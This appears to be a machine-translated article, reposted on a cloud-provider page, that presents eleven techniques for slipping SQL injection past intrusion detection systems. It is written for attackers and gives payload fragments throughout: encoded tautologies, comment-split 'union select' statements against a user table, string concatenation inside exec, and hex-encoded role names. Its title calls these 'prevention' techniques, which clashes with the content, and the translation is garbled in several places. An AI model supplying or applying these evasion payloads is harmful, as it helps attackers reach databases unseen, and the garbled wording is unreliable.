Summary of SQL Injection Intrusion Prevention Detection Technology

Source: Internet
Author: User
Tags mssql server

When we run SQL Injection on a server running IDs system, we often encounter a lot of trouble because our injection statements are filtered out, how to circumvent this kind of detection method has become a new technology. This article puts forward eleven ideas and methods for this technology, and discusses them with everyone.
I. Bypass Using encoding technology, such as urlencode and ASCII code.
If or 1 = 1, % 6f % 72% 20% 31% 3D % 31
Test is Char (101) + char (97) + char (115) + char (116)
2. Bypass by space. For example, if two spaces replace one space, use tab instead of space, or delete all spaces, such as 'sword' = 'sword', due to the loose nature of MSSQL, we can remove spaces between or words without affecting the operation.
3. Use string judgment instead of the classic or 1 = 1 judgment bypass, for example, or 'sword' = 'sword'
4. bypass through the type conversion modifier N, for example, or 'sword' = n 'sword'. The uppercase n tells MSSQL Server that the string is of the nvarchar type and plays the role of type conversion, the injection statement itself is not affected, but the knowledge-based pattern matching IDs can be avoided.
5. disassemble the string through the "+" sign and bypass it,
For example, or 'sword' = 'sw '+ 'ords'
; Exec ('in' + 'sert into' + '..... ')
6. bypass through like, for example, or 'sword' like 'sw'
7. bypass through in, such as or 'sword' in ('sword ')
8. bypass through between, for example, or 'sword' between 'rw 'and 'tw'
9. Pass> or <bypass, such
Or 'sword'> 'sw'
Or 'sword' <'tw'
Or 1 <3
10. Bypass Using comment statements:
Use/**/to replace spaces, such:
Union/**/select/**/user, PWD, from tbluser
Use/**/to separate sensitive words, such:
U/**/nion/**/SE/**/lect/**/user, PWD from tbluser
11. Bypass with hex. Generally, IDS cannot be detected.
0x730079007300610064006d0069006e00 = hex (SysAdmin)
0x640062005f006f0077006e0065007200 = hex (db_owner)
The above eleven SQL Injection intrusion prevention detection technologies are for your reference.

From: http://www.d99net.net/trackback.asp? Tbid = 1, 205

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.